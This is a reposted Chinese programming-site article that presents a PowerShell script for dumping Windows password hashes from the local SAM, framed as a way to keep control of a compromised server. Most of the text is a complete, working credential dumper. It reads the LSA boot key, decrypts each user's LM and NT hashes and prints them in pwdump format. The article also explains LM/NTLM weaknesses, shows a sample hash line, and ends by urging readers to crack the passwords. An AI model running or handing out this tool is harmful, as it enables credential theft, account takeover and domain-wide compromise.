欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

PowerShell小技巧之获取Windows系统密码Hash

程序员文章站 2022-03-29 21:39:41
当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多...

当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获。用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马,哪怕是替换次要的系统服务自己启动的木马,隐蔽性都太差了。不管后门留的如何完美,木马免杀做的多好,最终还是做不到不留任何痕迹。

那什么方法才能达到目的,又不容易被发现呢?以管理员的身份来管理服务器不就行了么?不管管理员是用3389、pcanywhere、还是radmin管理服务器,获取他的密码,以他的身份进入系统不就得了,如果是域管理员密码,整个域都会在你的控制之下了。获取密码的方法除了网络嗅探,还可以获取密码hash后通过彩虹表进行攻击,本文将会介绍通过powershell获取windows系统密码hash的方法,有何密码hash就离拿到密码不远了。

首先介绍一下windows密码hash:

早期smb协议在网络上传输明文口令。后来出现"lan manager challenge/response"验证机制,简称lm,它是如此简单以至很容易被破解。微软提出了windowsnt挑战/响应验证机制,称之为ntlm。现在已经有了更新的ntlmv2以及kerberos验证体系。windows加密过的密码口令,我们称之为hash(中文:哈希),windows的系统密码hash默认情况下一般由两部分组成:第一部分是lm-hash,第二部分是ntlm-hash。

ntlm-hash与lm-hash算法相比,明文口令大小写敏感,但无法根据ntlm-hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"kgs!@#$%"。md4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调ntlm-hash的强度高,却避而不谈一个事实,为了保持向后兼容性,ntlm-hash缺省总是与lm-hash一起使用的。这意味着ntlm-hash强调再高也是无助于安全的,相反潜在损害着安全性。增加ntlm-hash后,首先利用lm-hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用ntlm-hash修正出原始明文口令的大小写敏感版本。

windows系统下的hash密码格式为:用户名称:rid:lm-hash值:nt-hash值,例如:

administrator:500:c8825db10f2590eaaad3b435b51404ee:683020925c5d8569c23aa724774ce6cc:::表示
用户名称为:administrator
rid为:500
lm-hash值为:c8825db10f2590eaaad3b435b51404ee
nt-hash值为:683020925c5d8569c23aa724774ce6cc

如果你知道这个用户的hash密码了,拿着c8825db10f2590eaaad3b435b51404ee:683020925c5d8569c23aa724774ce6cc去hash在线查询网站查一下很容易就能得到密码。

下面直接上代码,然后对代码简单做一个解释,最后演示一下执行效果。

复制代码 代码如下:

function get-winpasshashes
{
<# author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    # get windows password hash and returns the hash list
    #.example
    #   get-winpasshashes
    #
    #>

    [cmdletbinding()]
    param ()
function loadapi
{
    $olderroraction = $global:erroractionpreference;
    $global:erroractionpreference = "silentlycontinue";
    $test = [powerdump.native];
    $global:erroractionpreference = $olderroraction;
    if ($test)
    {
        # already loaded
        return;
     }

$code = @'
using system;
using system.security.cryptography;
using system.runtime.interopservices;
using system.text;

namespace powerdump
{
    public class native
    {
    [dllimport("advapi32.dll", charset = charset.auto)]
     public static extern int regopenkeyex(
        int hkey,
        string subkey,
        int uloptions,
        int samdesired,
        out int hkresult);

    [dllimport("advapi32.dll", entrypoint = "regenumkeyex")]
    extern public static int regenumkeyex(
        int hkey,
        int index,
        stringbuilder lpname,
        ref int lpcbname,
        int reserved,
        stringbuilder lpclass,
        ref int lpcbclass,
        out long lpftlastwritetime);

    [dllimport("advapi32.dll", entrypoint="regqueryinfokey", callingconvention=callingconvention.winapi, setlasterror=true)]
    extern public static int regqueryinfokey(
        int hkey,
        stringbuilder lpclass,
        ref int lpcbclass,
        int lpreserved,
        out int lpcsubkeys,
        out int lpcbmaxsubkeylen,
        out int lpcbmaxclasslen,
        out int lpcvalues,
        out int lpcbmaxvaluenamelen,
        out int lpcbmaxvaluelen,
        out int lpcbsecuritydescriptor,
        intptr lpftlastwritetime);

    [dllimport("advapi32.dll", setlasterror=true)]
    public static extern int regclosekey(
        int hkey);

        }
    } // end namespace powerdump

    public class shift {
        public static int   right(int x,   int count) { return x >> count; }
        public static uint  right(uint x,  int count) { return x >> count; }
        public static long  right(long x,  int count) { return x >> count; }
        public static ulong right(ulong x, int count) { return x >> count; }
        public static int    left(int x,   int count) { return x << count; }
        public static uint   left(uint x,  int count) { return x << count; }
        public static long   left(long x,  int count) { return x << count; }
        public static ulong  left(ulong x, int count) { return x << count; }
    }
'@

   $provider = new-object microsoft.csharp.csharpcodeprovider
   $dllname = [psobject].assembly.location
   $compilerparameters = new-object system.codedom.compiler.compilerparameters
   $assemblies = @("system.dll", $dllname)
   $compilerparameters.referencedassemblies.addrange($assemblies)
   $compilerparameters.generateinmemory = $true
   $compilerresults = $provider.compileassemblyfromsource($compilerparameters, $code)
   if($compilerresults.errors.count -gt 0) {
     $compilerresults.errors | % { write-error ("{0}:`t{1}" -f $_.line,$_.errortext) }
   }

}

$antpassword = [text.encoding]::ascii.getbytes("ntpassword`0");
$almpassword = [text.encoding]::ascii.getbytes("lmpassword`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

function sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid -band 0xff);
    $s1 += [char]([shift]::right($sid,8) -band 0xff);
    $s1 += [char]([shift]::right($sid,16) -band 0xff);
    $s1 += [char]([shift]::right($sid,24) -band 0xff);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
    return ,((str_to_key $s1),(str_to_key $s2));
}

function str_to_key($s)
{
    $key = @();
    $key += [shift]::right([int]($s[0]), 1 );
    $key += [shift]::left( $([int]($s[0]) -band 0x01), 6) -bor [shift]::right([int]($s[1]),2);
    $key += [shift]::left( $([int]($s[1]) -band 0x03), 5) -bor [shift]::right([int]($s[2]),3);
    $key += [shift]::left( $([int]($s[2]) -band 0x07), 4) -bor [shift]::right([int]($s[3]),4);
    $key += [shift]::left( $([int]($s[3]) -band 0x0f), 3) -bor [shift]::right([int]($s[4]),5);
    $key += [shift]::left( $([int]($s[4]) -band 0x1f), 2) -bor [shift]::right([int]($s[5]),6);
    $key += [shift]::left( $([int]($s[5]) -band 0x3f), 1) -bor [shift]::right([int]($s[6]),7);
    $key += $([int]($s[6]) -band 0x7f);
    0..7 | %{
        $key[$_] = [shift]::left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
    return ,$key;
}

function newrc4([byte[]]$key)
{
    return new-object object |
    add-member noteproperty key $key -passthru |
    add-member noteproperty s $null -passthru |
    add-member scriptmethod init {
        if (-not $this.s)
        {
            [byte[]]$this.s = 0..255;
            0..255 | % -begin{[long]$j=0;}{
                $j = ($j + $this.key[$($_ % $this.key.length)] + $this.s[$_]) % $this.s.length;
                $temp = $this.s[$_]; $this.s[$_] = $this.s[$j]; $this.s[$j] = $temp;
                }
        }
    } -passthru |
    add-member scriptmethod "encrypt" {
        $data = $args[0];
        $this.init();
        $outbuf = new-object byte[] $($data.length);
        $s2 = $this.s[0..$this.s.length];
        0..$($data.length-1) | % -begin{$i=0;$j=0;} {
            $i = ($i+1) % $s2.length;
            $j = ($j + $s2[$i]) % $s2.length;
            $temp = $s2[$i];$s2[$i] = $s2[$j];$s2[$j] = $temp;
            $a = $data[$_];
            $b = $s2[ $($s2[$i]+$s2[$j]) % $s2.length ];
            $outbuf[$_] = ($a -bxor $b);
        }
        return ,$outbuf;
    } -passthru
}

function des_encrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $true)
}

function des_decrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $false)
}

function des_transform([byte[]]$data, [byte[]]$key, $doencrypt)
{
    $des = new-object security.cryptography.descryptoserviceprovider;
    $des.mode = [security.cryptography.ciphermode]::ecb;
    $des.padding = [security.cryptography.paddingmode]::none;
    $des.key = $key;
    $des.iv = $key;
    $transform = $null;
    if ($doencrypt) {$transform = $des.createencryptor();}
    else{$transform = $des.createdecryptor();}
    $result = $transform.transformfinalblock($data, 0, $data.length);
    return ,$result;
}

function get-regkeyclass([string]$key, [string]$subkey)
{
    switch ($key) {
        "hkcr" { $nkey = 0x80000000} #hk classes root
        "hkcu" { $nkey = 0x80000001} #hk current user
        "hklm" { $nkey = 0x80000002} #hk local machine
        "hku"  { $nkey = 0x80000003} #hk users
        "hkcc" { $nkey = 0x80000005} #hk current config
        default {
            throw "invalid key. use one of the following options hkcr, hkcu, hklm, hku, hkcc"
        }
    }
    $keyqueryvalue = 0x1;
    $keyread = 0x19;
    $keyallaccess = 0x3f;
    $result = "";
    [int]$hkey=0
    if (-not [powerdump.native]::regopenkeyex($nkey,$subkey,0,$keyread,[ref]$hkey))
    {
        $classval = new-object text.stringbuilder 1024
        [int]$len = 1024
        if (-not [powerdump.native]::regqueryinfokey($hkey,$classval,[ref]$len,0,[ref]$null,[ref]$null,
            [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
        {
            $result = $classval.tostring()
        }
        else
        {
            write-error "regqueryinfokey failed";
        }
        [powerdump.native]::regclosekey($hkey) | out-null
    }
    else
    {
        write-error "cannot open key";
    }
    return $result;
}

function get-bootkey
{
    $s = [string]::join("",$("jd","skew1","gbg","data" | %{get-regkeyclass "hklm" "system\currentcontrolset\control\lsa\$_"}));
    $b = new-object byte[] $($s.length/2);
    0..$($b.length-1) | %{$b[$_] = [convert]::tobyte($s.substring($($_*2),2),16)}
    $b2 = new-object byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
    return ,$b2;
}

function get-hbootkey
{
    param([byte[]]$bootkey);
    $aqwerty = [text.encoding]::ascii.getbytes("!@#$%^&*()qwertyuiopazxcvbnmqqqqqqqqqqqq)(*@&%`0");
    $anum = [text.encoding]::ascii.getbytes("0123456789012345678901234567890123456789`0");
    $k = get-item hklm:\sam\sam\domains\account;
    if (-not $k) {return $null}
    [byte[]]$f = $k.getvalue("f");
    if (-not $f) {return $null}
    $rc4key = [security.cryptography.md5]::create().computehash($f[0x70..0x7f] + $aqwerty + $bootkey + $anum);
    $rc4 = newrc4 $rc4key;
    return ,($rc4.encrypt($f[0x80..0x9f]));
}

function get-username([byte[]]$v)
{
    if (-not $v) {return $null};
    $offset = [bitconverter]::toint32($v[0x0c..0x0f],0) + 0xcc;
    $len = [bitconverter]::toint32($v[0x10..0x13],0);
    return [text.encoding]::unicode.getstring($v, $offset, $len);
}

function get-userhashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
    if ($u.hashoffset + 0x28 -lt $u.v.length)
    {
        $lm_hash_offset = $u.hashoffset + 4;
        $nt_hash_offset = $u.hashoffset + 8 + 0x10;
        $enc_lm_hash = $u.v[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.v[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    elseif ($u.hashoffset + 0x14 -lt $u.v.length)
    {
        $nt_hash_offset = $u.hashoffset + 8;
        $enc_nt_hash = [byte[]]$u.v[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    return ,(decrypthashes $u.rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

function decrypthashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
    # lm hash
    if ($enc_lm_hash)
    {
        $lmhash = decryptsinglehash $rid $hbootkey $enc_lm_hash $almpassword;
    }

    # nt hash
    if ($enc_nt_hash)
    {
        $nthash = decryptsinglehash $rid $hbootkey $enc_nt_hash $antpassword;
    }

    return ,($lmhash,$nthash)
}

function decryptsinglehash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [security.cryptography.md5]::create();
    $rc4_key = $md5.computehash($hbootkey[0..0x0f] + [bitconverter]::getbytes($rid) + $lmntstr);
    $rc4 = newrc4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
        (des_decrypt $obfkey[8..$($obfkey.length - 1)] $deskeys[1]);
    return ,$hash;
}

function get-userkeys
{
    ls hklm:\sam\sam\domains\account\users |
        where {$_.pschildname -match "^[0-9a-fa-f]{8}$"} |
            add-member aliasproperty keyname pschildname -passthru |
            add-member scriptproperty rid {[convert]::toint32($this.pschildname, 16)} -passthru |
            add-member scriptproperty v {[byte[]]($this.getvalue("v"))} -passthru |
            add-member scriptproperty username {get-username($this.getvalue("v"))} -passthru |
            add-member scriptproperty hashoffset {[bitconverter]::touint32($this.getvalue("v")[0x9c..0x9f],0) + 0xcc} -passthru
}

function dumphashes
{
    loadapi
    $bootkey = get-bootkey;
    $hbootkey = get-hbootkey $bootkey;
    get-userkeys | %{
        $hashes = get-userhashes $_ $hbootkey;
        "{0}:{1}:{2}:{3}:::" -f ($_.username,$_.rid,
            [bitconverter]::tostring($hashes[0]).replace("-","").tolower(),
            [bitconverter]::tostring($hashes[1]).replace("-","").tolower());
    }
}
dumphashes
}

代码中定义的函数get-winpasshashes中定义了多个函数,在函数的最后调用dumphashes作为入口函数。
运行效果如下所示

PowerShell小技巧之获取Windows系统密码Hash

拿着hash速速破解密码去吧^_^